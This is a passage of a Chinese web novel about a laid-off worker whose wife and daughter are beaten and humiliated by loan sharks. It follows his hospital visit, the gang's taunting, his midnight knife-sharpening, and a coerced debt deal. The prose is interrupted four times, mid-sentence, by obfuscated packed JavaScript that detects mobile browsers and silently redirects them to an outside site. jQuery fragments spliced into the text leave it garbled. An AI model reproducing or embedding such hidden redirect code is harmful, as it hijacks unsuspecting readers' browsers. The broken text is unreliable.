家。这就是他日夜兼程、归心似箭想要回来的家? 这就是他曾经用劳模奖金买了第一台收音机,和桂兰一起听着《甜蜜蜜》的家? 这就是小梅蹒跚学步、咿呀学语,墙上贴满她稚嫩画作的家? 现在,只剩下破碎、狼藉、冰冷,和那一小滩刺目的、仿佛凝固了所有绝望与暴力的暗红。 他缓缓地、极其缓慢地蹲下身,伸出那双布满老茧和裂口、曾操纵精密车床、也曾搬动沉重水泥的手,颤抖着,想要去触碰那滩暗红色的印记,却又在即将碰到的瞬间,像被烫到一样猛地缩回。 他抬起头,环顾这片废墟,眼神空洞,没有焦点。脸上纵横的,不知是汗水,还是早已失控的泪水。帆布包从他无力的手中滑落,“啪”地一声掉在玻璃碴上,他也毫无反应。 整个世界,仿佛都在他眼前碎裂成了千万片,和地上的玻璃碴一样,再也拼凑不回原来的模样。 张建设僵立在满目疮痍的屋子中央,像一尊被瞬间风化的石雕,只有胸腔里那颗心脏在疯狂而无望地撞击着肋骨。破碎的家门,狼藉的地面,那滩刺目的暗红……每一个细节都在他脑海里尖叫、放大,几乎要撑裂他的颅骨。桂兰呢?小梅呢?!她们人在哪里?!是生是死?! 极度的恐惧让他几乎丧失了思考能力,他猛地转身,猩红着双眼,像一头濒死的野兽,想要冲出这令人窒息的地方,去疯狂地寻找他的妻女。 就在这时,对面那扇一直虚掩着的门,悄无声息地开大了一些。邻居王婶那张胖胖的、总是带着点市侩精明的脸,带着一种混合着同情、紧张和“果然如此”的了然神情,探了出来。她先是警惕地、飞快地左右张望了一下,确认那帮凶神恶煞的人不在附近,然后才压低了声音,朝着失魂落魄的张建设急切地招了招手。 “建设!建设!你可算回来了……快,过来!”她的声音象是从喉咙眼里挤出来的,带着一种生怕被人听见的紧张。 张建设如同抓住了救命稻草,几乎是扑到王婶家门口。他抓住王婶的胳膊,力气大得让对方龇了龇牙,声音嘶哑破碎,带着浓重的哭腔:“王婶!桂兰呢?小梅呢?这……这到底是怎么回事啊?!” 王婶被他抓得生疼,用力挣了挣,却没挣脱,只好任由他抓着,脸上露出一种“我就知道会这样”的复杂表情。她叹了口气,那叹息又重又长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张建设明白了。他什么也没说,只是重重地点了下头,然后猛地转过身,用尽全身残余的力气,像一颗出膛的炮弹,跌跌撞撞地冲出楼道,冲向外面冰冷而陌生的街道,朝着人民医院的方向狂奔而去。 身后,是王婶又一次沉重的、意味复杂的叹息,以及那扇被轻轻关上的、代表着隔阂与自保的房门。邻居的叹息,如同一曲冰冷的背景音,陪着他奔向那未知的、注定更加残酷的真相。 32. 白色的床单,苍白的脸 张建设一路狂奔,肺部像破旧的风箱般剧烈抽动,带着南方工地留下的隐痛和此刻极致的恐惧。人民医院那栋灰白色的、墙体有些剥落的主楼,在他眼中如同巨大的墓碑,森然矗立。他冲进充斥着消毒水、药品和隐隐排泄物气味的大厅,无视挂号窗口前蜿蜒的长队和人们的抱怨,像没头苍蝇一样四处乱撞,嘶哑地喊着:“李桂兰!我找李桂兰!急诊!她在哪儿?!” 一个被拦住的小护士,皱着眉打量着他这一身泥污、满脸疯狂的样子,不耐烦地指了指走廊尽头:“急诊观察室三床!别大声喧哗!” 他几乎是手脚并用地扑到观察室门口,猛地推开那扇虚掩的门。一股更浓烈的药味和某种伤口散发的、淡淡的腥甜气息扑面而来。 观察室里拥挤不堪,摆放着六七张病床,用浅蓝色的、有些发污的布帘勉强隔开。呻吟声、咳嗽声、家属的低语声、医疗器械的滴答声混杂在一起。空气闷热而污浊,窗台上积着灰,墙角有未拖干净的污渍。 他的目光,瞬间就锁定了靠窗那张病床上那个熟悉而又陌生的身影。李桂兰静静地躺在那里,身上盖着医院那种浆洗得发硬、却依旧隐约透着黄色污渍的白色床单。她的脸色,比那床单还要苍白,是一种毫无生气的、近乎灰败的颜色,象是被抽干了所有血液。眼窝深陷下去,周围是浓重的、青黑色的阴影,嘴唇干裂脱皮,没有一丝血色。 她的额头靠近发际线的位置,缠着一圈刺眼的白色纱布,边缘隐隐渗出一点已经干涸的暗红。一只枯瘦的手露在外面,手腕上打着点滴,透明的药液正一滴、一滴,缓慢地、冰冷地输入她青筋凸起的血管。另一只手无力地搭在床沿,手指微微蜷曲着。 她就那么静静地躺着,一动不动,只有胸口极其微弱的起伏,证明她还活着。像一盏即将油尽灯枯的残烛,随时可能被这病房里任何一丝微弱的气流吹灭。 张建设僵在门口,浑身的血液仿佛在这一刻彻底凝固。他张着嘴,喉咙里象是被什么东西死死堵住,发不出任何声音。眼前这个形容枯槁、奄奄一息的女人,真的是他那虽然体弱但眼神总是带着韧劲的妻子吗?真的是那个在他南下前,还强撑着笑容为他整理行装的桂兰吗? 短短几个月,生活到底对她做了什么?!那帮畜生到底对她做了什么?! 巨大的冲击和心痛,如同海啸般将他淹没。他一步一步,极其缓慢地、象是踩在刀尖上一样,挪到病床前。每一步,都沉重得仿佛要耗尽他毕生的力气。 他似乎终于惊动了她。 李桂兰长长的、如同蝶翼般脆弱的睫毛颤动了一下,极其艰难地、缓缓地睁开了眼睛。那双曾经明亮、带着温柔笑意的眼睛,此刻浑浊、黯淡,布满了血丝,象是蒙上了一层永远擦不掉的灰尘。 当她看清站在床前、风尘仆仆、满脸悲怆与不可置信的丈夫时,那浑浊的眼睛里,瞬间涌上了汹涌的泪水。泪水迅速蓄满眼眶,顺着她深陷的眼角,无声地滑落,浸湿了鬓边花白的发丝和枕头。 她的嘴唇剧烈地颤抖着,翕动了半天,似乎想说什么,想呼喊他的名字,想倾诉所有的委屈和恐惧。可是,最终,只从喉咙深处发出几声极其微弱、破碎的、如同气流摩擦般的“嗬……嗬……”声。她失语了。极致的惊吓、屈辱和身体的创伤,夺走了她最后一点发出声音的能力。 那无声的哭泣,那无法言说的痛苦,比任何嚎啕大哭都更加撕心裂肺,像一把钝刀,在张建设的心上来回切割。他看着她,看着那苍白脸上无声流淌的泪水,看着那被纱布包裹的伤口,看着这拥挤、压抑、充满病痛和绝望的病房,感觉自己整个人,从里到外,都被彻底地、残酷地撕碎了。 张建设在病床前不知呆立了多久,直到李桂兰因为极度虚弱和情绪激动,再次昏昏沉沉地闭上眼,只有眼角不断渗出的泪水证明她的痛苦并未停止。他小心翼翼地、用那双粗糙得像砂纸的手,极其轻柔地擦去妻子脸上的泪痕,动作笨拙却又带着一种令人心碎的温柔。那冰冷的皮肤触感,让他指尖都在发颤。 他必须知道发生了什么,必须知道桂兰到底怎么样了。他深吸一口气,强迫自己从那令人窒息的悲伤中抽离,转身,步履沉重地走向护士站。 护士站里,几个护士正在忙碌,或低头写着什么,或清点药品,彼此间低声交谈着,带着一种见惯生死的麻木。空气中弥漫着消毒水和某种廉价香皂混合的味道。 “请问……李桂兰,靠窗三床的……她情况怎么样?”张建设的声音干涩沙哑,带着小心翼翼的恳求。一个年轻的护士抬起头,打量了他一眼,似乎认出他是刚才那个失魂落魄冲进来的男人,语气平淡地公事公办:“具体情况你得问主治医生。刘医生现在应该在办公室。”她随手往走廊另一头指了指,便不再理他,继续忙自己的事。 张建设按照指引,找到了那间门上贴着“刘医生”名牌的办公室。门虚掩着,他敲了敲,里面传来一个略显疲惫的男声:“进。” 办公室不大,堆满了病历和书籍。一个四十多岁、戴着黑框眼镜、脸色有些憔悴的男医生正伏案写着什么。他抬起头,看到张建设,眉头几不可察地皱了一下,似乎对这种满面风霜、衣着破旧的病人家属早已司空见惯。 “你是李桂兰的家属?”刘医生放下笔,语气还算平和,但透着疏离和一丝不易察觉的不耐。他每天要面对太多这样的家庭,太多的不幸,早已磨钝了最初的同情。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743067|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我是她丈夫,张建设。”张建设连忙上前一步,双手紧张地交握着,微微弓着腰,像一个等待宣判的囚徒。“医生,我爱人她……她到底怎么样了?头上的伤严重吗?她怎么……怎么说不出话了?” 刘医生拿起一份病历,翻看着,语速较快,带着职业性的清晰和冷静,却也像一把把冰冷的手术刀,剖开血淋淋的现实: “病人送进来的时候,情况比较危急。头部受到外力击打,造成头皮裂伤,中度脑震荡。这还不是最麻烦的。”他顿了顿,抬眼看了看张建设瞬间惨白的脸,继续道,“根据检查和家属提供的病史,她本身就有严重的肺结核,一直没有得到规范治疗,身体极度虚弱。这次头部受伤,加上受到极度的惊吓和强烈的精神刺激……” 他合上病历,目光锐利地看向张建设,语气里带上了几分严肃,甚至隐含着一丝责备: “导致了突发性感官失语,并伴有应激性精神障碍。简单说,就是暂时性耳聋,说不出话,精神上也受到了很大创伤。身上的软组织挫伤倒是不算太重,但需要静养,绝对不能再受刺激。” 每一个字,都像沉重的冰雹,砸在张建设的心上。脑震荡……失语……耳聋……精神创伤……这些陌生的、可怕的词语,组合在一起,勾勒出妻子在地狱里走了一遭的惨状。 “那……那能治好吗?什么时候能好?”张建设的声音带着绝望的颤抖。 “脑震荡和皮外伤需要时间恢复。失语和精神方面的问题……”刘医生推了推眼镜,语气没有太多波澜,“这个不好说,要看她自身的恢复能力,也需要心理疏导,但我们现在医院没有这个条件。最重要的是静养,加强营养,把身体底子打好,肺结核也必须系统治疗了,再拖下去会出大问题。” 他看了一眼张建设那身洗得发白、沾着泥点的旧工装,以及脸上那被生活重压刻下的深深沟壑,语气缓和了些,但说出的内容却更加残酷: “你是她丈夫?怎么才来?她这身体,早就该好好治了!现在弄成这样……住院观察几天,稳定了可以先出院,但后续的治疗,肺结核的药,营养神经的药,还有头上的伤定期换药,都是一笔不小的开销。你们……要有心理准备。” 心理准备?张建设茫然地看着医生。他刚从南方那个泥潭里爬出来,兜里只有被克扣后所剩无几的路费,面对的是一个破碎的家、受重伤失语的妻子、受惊吓的女儿,以及一笔他尚不清楚具体数目、但足以逼死人的高利贷。他拿什么做准备? 医生的话,像最后的判决,不仅宣判了李桂兰的病情,也几乎宣判了这个家庭未来的死刑。那冰冷的、充满消毒水味的空气,此刻沉重得如同铅块,压得他喘不过气,直不起腰。 33. 女儿的哭诉 张建设浑浑噩噩地走出医生办公室,刘医生那句“要有心理准备”和冰冷的病情诊断,像无数根冰锥扎在他脑子里,让他几乎无法思考。他拖着灌了铅的双腿,一步步挪回那片充斥着痛苦与绝望的观察区。还没走到妻子的病床前,一个瘦小的身影就从旁边一张空着的病床后面猛地扑了出来,像一颗小炮弹,狠狠撞进他的怀里。是张小梅。她一直被王婶暂时安置在观察室角落,守着昏迷的母亲,恐惧和不安像毒蛇一样缠绕着她幼小的心灵。此刻看到父亲,这个家里唯一的、能够依靠的支柱终于出现,所有强装出来的坚强瞬间土崩瓦解。 “爸爸!”她发出一声撕心裂肺的哭喊,那声音里饱含的恐惧、委屈和后怕,让闻者心碎。她死死抱住张建设的腰,把满是泪痕的小脸深深埋进父亲那件沾着旅途风尘和汗味的、粗糙的工装里,仿佛要将自己揉进父亲的身体里寻求庇护。小小的身体在他怀里剧烈地颤抖着,如同寒风中最后一片枯叶。 张建设被女儿这突如其来的、几乎是用尽全力的拥抱撞得后退了半步,他下意识地紧紧回抱住女儿,那瘦骨嶙峋的触感让他心痛如绞。 “小梅……小梅别怕,爸爸回来了,爸爸在……”他笨拙地拍着女儿单薄的脊背,声音沙哑地安慰着,自己的眼眶却也迅速湿润。 张小梅抬起头,泪眼婆娑,小脸上满是纵横交错的泪痕和无法掩饰的惊惧。她死死抓着父亲的衣服前襟,手指因为用力而关节发白,语无伦次地哭诉起来,声音断断续续,夹杂着剧烈的抽噎: “爸爸!他们……他们好多人!好凶!他们砸我们家的门!用红色的油漆……泼在墙上,写了好可怕的字!”她仿佛又看到了那刺目的猩红,身体抖得更厉害了。 “他们……他们闯进家里,乱砸东西!把妈妈给你买的暖水瓶……砸碎了!开水……开水溅得到处都是……”她哽咽着,呼吸急促,“他们……他们还推妈妈!打妈妈!妈妈摔倒了,头……头磕在桌子角上,流了好多……好多血!”她伸出一只小手,颤抖地指向病床上昏迷的李桂兰额头的纱布,仿佛那恐怖的场景就在眼前重演。 “我害怕……我想去帮妈妈,可是他们好凶……那个戴金链子的……他瞪着我……”张小梅的声音充满了无助和屈辱,眼泪流得更凶了,“他们……他们还跑到学校门口找我!当着那么多同学的面……说妈妈欠钱不还……同学们都看着我……都躲着我……” 她终于把积压在心底最深处的、最难以启齿的羞辱也喊了出来,这对于一个正值敏感年龄的女孩来说,无疑是毁灭性的打击。 “爸爸!我害怕!他们会把妈妈打死吗?他们会把我们也抓走吗?我们怎么办啊爸爸……” 女儿的每一句哭诉,都像一把烧红的烙铁,狠狠烫在张建设的心上。他听着那些具体而残忍的细节,想象着妻女在家中、在校门口所遭受的暴力和屈辱,一股无法抑制的、混合着冲天怒火和锥心之痛的狂暴情绪,在他胸腔里翻腾、冲撞,几乎要将他整个人撕裂! 他的身体因愤怒和愧疚而剧烈地颤抖起来,抱住女儿的手臂不自觉地收紧,紧得让张小梅都有些喘不过气。牙齿咬得咯咯作响,额头上青筋暴起,那双曾经在车床前稳定操作、在工地上默默承受苦难的眼睛,此刻布满了猩红的血丝,喷射出近乎实质的仇恨与毁灭的火焰。 他恨!恨那些丧尽天良的畜生!恨这个逼得人走投无路的世界! 他更恨自己!恨自己的无能!恨自己的远离!在最该保护家人的时候,他却不在她们身边,让她们独自承受了这一切! 他紧紧抱着怀中哭泣不止、恐惧未消的女儿,像一头受伤的、濒临疯狂的雄狮,发出低沉而痛苦的呜咽。这哭声,被压抑在喉咙深处,闷雷般滚动,却比任何嚎啕都更加绝望。女儿的眼泪,浸湿了他的胸膛,也如同滚烫的岩浆,灼烧着他作为丈夫和父亲,那早已千疮百孔的尊严。 张建设抱着瑟瑟发抖、哭泣不止的女儿,感觉自己的心脏被女儿的每一句哭诉切割成碎片,又被怒火烧成灰烬。他沉浸在无边的愤怒、愧疚和绝望中,甚至没有注意到观察室门口光线一暗,几个人影堵住了那本就狭窄的入口。 一股与医院消毒水格格不入的、浓烈的烟味和汗味先飘了进来。随即,一个带着戏谑和冰冷嘲讽的、如同砂纸摩擦般刺耳的声音,清晰地穿透了病房里原本的低泣和呻吟: “哟,姓张的,回来了?动作挺快嘛。” 这声音像一道闪电,瞬间劈中了张建设。他猛地抬起头,猩红的双眼死死盯向门口。 龙哥依旧戴着那根晃眼的金链子,嘴里叼着烟,脸上挂着一种猫捉老鼠般的、令人作呕的笑容。他身后,一左一右站着皮夹克和寸头,像两尊煞神,双手抱胸,目光倨傲地扫视着病房内的一切,仿佛在巡视自己的领地。他们的出现,让原本就压抑的观察室温度骤降。 同病房的其他病人和家属,瞬间噤若寒蝉。原本还有的低声交谈和呻吟戛然而止。有人惊恐地低下头,假装睡觉;有人慌忙拉上了自己床位的隔帘,生怕被波及;一个正在给老人喂饭的中年妇女,手一抖,勺子磕在碗边上,发出清脆的“叮”一声,在死寂中格外刺耳。空气中弥漫开一种无形的恐惧,所有人都象是被掐住了脖子,连呼吸都放轻了。 龙哥对这一切效果很满意。他旁若无人地踱步进来,皮鞋踩在冰冷的水泥地上,发出“哒、哒”的声响,每一步都像踩在张建设紧绷的神经上。他径直走到李桂兰的病床前,目光扫过她苍白昏迷的脸和额头的纱布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743068|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嘴角扯出一抹残忍的弧度。 然后,他转向浑身僵硬、抱着女儿如同石化般的张建设,从皮夹克内兜里掏出一张叠着的纸,抖开,正是那份按着红手印的借款合同和后续的欠条。 “看见没?白纸黑字,红手印。”他用手指弹了弹那张纸,发出“噗噗”的轻响,“你老婆这医药费,看起来花了不少啊?” 他顿了顿,目光像毒蛇一样缠绕着张建设,语气“温和”得令人毛骨悚然: “没关系。看在你们家这么‘困难’的份上,龙哥我大发慈悲。你这医药费、营养费……就算你凑个整,一千块吧。这笔钱,可以算在利息里。” 可以算在利息里!这轻飘飘的一句话,像一把淬了剧毒的匕首,狠狠捅进了张建设的心脏,并且残忍地搅动了一下!他感觉自己的血液瞬间冲上头顶,耳边嗡嗡作响,眼前阵阵发黑。巨大的屈辱和愤怒让他浑身剧烈地颤抖起来,抱住女儿的手臂肌肉绷紧如铁,牙齿咬得咯咯作响,那声音在寂静的病房里清晰可闻。 他死死地盯着龙哥那张带着狞笑的脸,盯着他身后那两个打手挑衅的眼神,一股想要扑上去撕碎他们的狂暴冲动,如同岩浆般在他体内奔涌! 可是……他能吗? 他看了一眼病床上奄奄一息、再也经不起任何惊吓的妻子,感受着怀里女儿那恐惧到极致的、小小的、颤抖的身体。他如果动手,后果是什么?龙哥这伙人只会更加变本加厉!躺在病床上的桂兰怎么办?吓坏了的小梅怎么办? 冲动被更深的无力感和现实冰冷的锁链死死捆住,无法挣脱。他像一尊即将爆裂却又被强行封印的火山,只能从喉咙深处发出一种压抑到极致的、如同野兽受伤般的“嗬嗬”声,额头上、脖子上的青筋狰狞地凸起,仿佛下一秒就要炸开。 龙哥看着他这副样子,脸上的笑容更加得意和残忍。他仿佛很享受这种将人踩在脚下、肆意玩弄的感觉。他把欠条慢条斯理地折好,重新塞回口袋,拍了拍。 “好好照顾你老婆。”他语气“恳切”,却字字如刀,“毕竟,人要是没了,我这债……找谁要去?早点凑够钱,大家都省心。” 说完,他带着两个手下,转身,大摇大摆地离开了观察室,那嚣张的背影和刺耳的皮鞋声,久久回荡在死寂的病房里,也烙印在张建设血淋淋的心上。 同病房的人,直到他们的脚步声彻底消失在走廊尽头,才仿佛重新学会了呼吸,却依旧没人敢大声说话,只有一道道或同情、或恐惧、或麻木的目光,悄悄地投向那个如同被抽走了魂魄、僵立在病床前的男人,和他怀里那个依旧在无声颤抖的小女孩。耻辱。这是赤裸裸的、踩在伤口上撒盐的耻辱!而这耻辱,他只能生生咽下,连同那几乎要将他焚毁的怒火。 34. 无声的拥抱 龙哥一伙人离去的脚步声,像钝刀子割在水泥地上,也割在病房里每一个人的神经上,久久不散。那嚣张的背影带走了一部分令人窒息的压迫感,却留下了更沉重的、冰冷的恐惧和屈辱,弥漫在充斥着药味和病痛的空气里。 张建设依旧僵立在原地,像一尊被雷劈过的枯木。女儿张小梅把脸深深埋在他怀里,小声的、压抑的啜泣着,瘦弱的肩膀不住颤抖。他能感觉到,女儿抓着他衣襟的小手,冰凉,且仍在微微痉挛。 病床上,李桂兰不知何时又睁开了眼睛。或许是龙哥那伙人带来的、如同实质的恶意惊动了她脆弱至极的神经。她没有看向门口,那双空洞、浑浊的眼睛,只是直直地、带着一种深入骨髓的恐惧和绝望,望着天花板某处虚无的点。泪水无声地从她眼角滑落,速度不快,却连绵不断,仿佛她身体里所有的水分,都要化作这屈辱与痛苦的证明流干淌尽。 张建设缓缓地、极其艰难地松开了紧抱女儿的手臂。他的动作僵硬,仿佛每个关节都在发出不堪重负的呻吟。他轻轻把女儿往旁边带了带,让她靠坐在一张空着的病床床沿。 然后,他转过身。他的目光,越过地上隐约的污渍,越过那冰冷的点滴架,落在了妻子那张惨白如纸、泪痕交错的脸上。他看到她那被纱布包裹的额头,看到她干裂出血丝的嘴唇,看到她因恐惧而微微睁大的、却毫无神采的眼睛。 刚才面对龙哥时那股几乎要冲破胸膛、毁天灭地的狂暴怒火,此刻像被一场冰冷的、名为“现实”的暴雨彻底浇熄。只剩下无边无际的灰烬,沉甸甸地堆积在他的五脏六腑,让他感到一种前所未有的疲惫和……空洞。 他死死攥紧的拳头,因为过度用力,指甲早已深深陷进掌心的皮肉里,留下几个紫红色的、渗着血丝的月牙形印记。此刻,那紧握的力道,一点点、一点点地松开。不是因为放弃,而是因为他意识到,此刻,有比挥拳更重要、也更艰难的事情要做。 他走到病床边,缓缓地、几乎是耗尽了所有力气地,蹲下了身子。这样,他的视线才能与躺在床上的妻子平行。 他没有说话。他知道,她听不见。他也知道,她说不出。 他只是伸出那双粗糙、布满老茧和裂口、刚刚还因愤怒而青筋暴起的手,动作却变得异常轻柔,甚至带着一种近乎虔诚的小心翼翼。他轻轻地、轻轻地,拂开妻子额前被冷汗和泪水黏住的、夹杂着几缕刺眼白发的碎发。 然后,他俯下身,张开双臂,用一种极其缓慢、却又无比坚定的动作,将床上那个瑟瑟发抖、如同惊弓之鸟般的女人,连同她身上那床带着消毒水和血腥味的、硬邦邦的白色床单,一起,紧紧地、紧紧地拥入了自己怀中。 他的拥抱,没有言语,却充满了笨拙的、试图传递力量的决心,和一种深不见底的、混杂着愧疚、心痛与誓死守护的复杂情感。 李桂兰在他抱住她的那一瞬间,身体猛地一僵,象是受惊的小动物,本能地想要蜷缩。但随即,那熟悉的、带着尘土和汗味、却依旧是她丈夫的气息包裹了她。那僵硬的身体,一点点、一点点地软化下来。 她没有回应,也没有能力回应。只是那无声的、一直流淌的泪水,瞬间变得更加汹涌,很快就浸湿了张建设肩膀上那粗糙的、沾着旅途风尘的布料。她在他怀里,像一片风中的落叶,又像一只终于找到残缺巢穴的、羽翼尽折的倦鸟,发出了更加沉闷的、被压抑在胸腔深处的、如同受伤小兽般的呜咽。那呜咽声不大,却比任何嚎啕都更加令人心碎,充满了无法言说的委屈、恐惧和劫后余生的脆弱。 张建设紧紧地抱着她,感受着她硌人的骨头和冰冷的体温,感受着她无声的哭泣带来的、细微却清晰的震颤。他没有动,也没有再尝试去擦拭她的眼泪,只是维持着那个拥抱的姿势,仿佛要用自己这具同样千疮百孔的身躯,为她隔绝开身后所有冰冷的恶意与残酷的现实。 父女俩的哭泣尚有声音,而这对夫妻之间,只剩下绝望的拥抱和无声的泪流。这无声的哭泣,仿佛抽干了病房里最后一点稀薄的希望,只剩下沉重的、令人窒息的悲凉,在消毒水的气味中,缓慢沉淀,凝固成永恒般的绝望。 医院终究不是久留之地。在医生明确表示李桂兰需要“长期静养和营养,住院意义不大”之后,张建设用身上最后一点钱结算了医药费,带着依旧失语、精神恍惚的妻子和惊魂未定的女儿,回到了那个布满红漆污渍和暴力痕迹的“家”。 筒子楼的邻居们,在他们回来时,表现出一种诡异的沉默。目光躲闪,窃窃私语在他们背后如同蚊蚋般响起,门缝后的窥视感挥之不去。没有人上前帮忙,没有人询问一句,仿佛他们一家携带着某种致命的瘟疫。王婶也只是在他们进门时,匆匆把张小梅的几件衣服塞过来,眼神复杂地说了句“回来了?好好照顾桂兰”,便迅速关上了门,那“砰”的一声,象是划清了一道无形的界限。 家,已不成家。破碎的桌椅勉强用铁丝捆扎着,地上的玻璃碴虽然清扫过,角落里依旧能看到闪亮的碎屑。墙上被撕扯的奖状痕迹和清洗不掉的暗红油漆污渍,像一道道丑陋的伤疤,无声地诉说着发生过的一切。空气里弥漫着一种混合了中药、灰尘和淡淡血腥气的、令人窒息的绝望。 夜深了。北春的春夜,寒意依旧刺骨。李桂兰服了药,在里屋那张吱呀作响的板床上昏沉睡去,但即使在睡梦中,她的眉头也紧紧锁着,身体不时惊悸般抽搐一下。张小梅蜷缩在母亲身边,小手紧紧攥着母亲的衣角,呼吸轻微而紧张。 张建设独自一人,坐在外间厨房冰冷的小板凳上。窗外,残缺的月亮被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743069|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稀薄的乌云遮住,只透下一点惨淡的、灰蒙蒙的光,勉强勾勒出屋内破败的轮廓。他没有开灯,黑暗中,只有他指间夹着的、快要燃尽的烟头,闪烁着一点猩红的光,映照出他半边脸上僵硬的、如同岩石般的线条。 他的脑海里,不受控制地反复播放着白天的画面:龙哥在病房里那戏谑而残忍的笑容,“医药费算在利息里”那轻飘飘却如同剜心的话语;妻子苍白失语的脸和额头的纱布;女儿在校门口被羞辱后惊恐无助的眼神;以及邻居们那冷漠的、避之不及的态度…… 一股冰冷的、带着铁锈味的恨意,如同毒藤,在他心底疯狂滋生、缠绕,勒得他几乎无法呼吸。法律?警察?他这样一个下岗工人,一个背着一身阎王债的穷光蛋,拿什么去告?谁会为他主持公道?那些穿着制服的人,会为了他这样的人,去动龙哥那种地头蛇吗?他想起在南方工地时,工友被拖欠工资去找劳动局,最后不也是不了了之,还被包工头找人打了一顿? 绝望像墨汁一样浸透了他的心脏。他看不到任何出路,任何希望。那笔如同雪球般越滚越大的债务,像一座正在缓缓倾塌的大山,即将把他、把桂兰、把小梅,彻底埋葬。 他猛地掐灭了烟头,猩红的光点在黑暗中碎裂、熄灭。他站起身,动作因为一种诡异的平静而显得有些僵硬。他走到厨房那个用砖头和水泥砌成的、布满油污的洗菜池边,弯下腰,从最底下、靠近潮湿墙角的缝隙里,摸索着。 他摸出了一块灰黑色的、边缘已经被磨出弧形的旧磨刀石。然后又从堆放在角落的、几件破旧工具下面,翻出了一把用旧布包裹着的、木柄已经开裂的水果刀。刀身不长,有些年头了,上面甚至能看到点点暗红色的锈迹,但刀尖依旧锋锐。 他接了小半盆冷水,把磨刀石浸湿,然后,就在这浓得化不开的黑暗里,蹲在冰冷的水泥地上,开始磨刀。 “沙……沙……沙……”磨刀石与金属刃口摩擦发出的声音,在万籁俱寂的深夜里,显得格外清晰、刺耳。这声音缓慢、稳定,带着一种令人毛骨悚然的韵律,一下,又一下,仿佛不是在磨利金属,而是在打磨着他心中那头即将冲破牢笼的、名为“同归于尽”的野兽。 他没有开灯,黑暗中,只有偶尔窗外路过的车灯,会短暂地扫过厨房,映出他蹲伏的、如同准备扑食的困兽般的身影,以及他手中那把在磨刀石上反复推拉、逐渐闪烁出冰冷寒光的旧刀。他的眼神是空的,里面看不到愤怒,看不到悲伤,只剩下一种被逼到绝境后、万物皆可毁灭的、死寂般的灰烬,以及在那灰烬深处,悄然窜起的一簇冰冷而绝望的火焰。 这“沙沙”的磨刀声,不仅响在寂静的夜里,也响在了这个家摇摇欲坠的根基上,更象是一曲为某个即将到来的、血腥结局而奏响的、冰冷的序曲。 36. 新的“协议” 龙哥办公室里那令人窒息的沉默,被他自己打破。他象是刚刚完成了一场有趣的游戏,身体向后靠在吱呀作响的办公椅上,金链子在昏暗光线下晃出一道油腻的反光。他拿起桌上那盒皱巴巴的香烟,慢条斯理地又抽出一支,点燃,深吸一口,然后将烟雾缓缓吐向低矮、被熏得发黄的天花板。 “行啊,”他开口,声音带着一种施舍般的、混杂着戏谑的腔调,“周厂长,您是老前辈,德高望重(这个词在他嘴里带着明显的讽刺),今天您亲自出面,又带着这么一位……‘硬气’的兄弟。” 他的目光像滑腻的蛇,在张建设那依旧紧绷、眼神死寂的脸上扫过,最终落回周维民那写满焦虑和屈辱的脸上。 “这个面子,我不能不给。”他摊了摊手,做出一个大度的姿态,但眼神里毫无温度,“这样,我呢,也发发善心。利息,从今天起,暂时给你们停了。” 周维民浑浊的眼睛里瞬间闪过一丝微弱的光,象是溺水者看到了一根遥远的稻草。他嘴唇动了动,想说什么感谢的话,却发现自己喉咙发紧,一个字也吐不出来。他知道,这所谓的“善心”背后,绝不是怜悯。 果然,龙哥话锋一转,手指敲了敲桌上那张按着红手印的原始借据和后续的欠条,语气变得不容置疑:“但是,本金三千,加上这几个月滚下来的利息,还有……嗯,就算上你老婆的医药费和精神损失费吧,我们吃点亏,给你凑个整——” 他故意拉长了音调,欣赏着对面两人脸上瞬间褪去血色的表情,然后才清晰地说道: “八千块。”这个数字像一块巨大的冰坨,狠狠砸在张建设和周维民的心口。八千!对于这个连下一顿药钱都不知道在哪里的家庭来说,这无异于一个天文数字! “八千?!”周维民失声惊呼,声音都在发颤,“龙经理,这……这实在是……” “怎么?嫌多?”龙哥打断他,脸上的笑容冷了下来,“周厂长,我已经很给你们面子了!按原来的算法,利滚利,现在早就不止这个数了!我这是看在张兄弟‘敢拼命’的份上,给你们打的折扣!懂吗?” 他特意强调了“敢拼命”三个字,目光再次瞥向张建设,带着一丝警告和嘲弄。 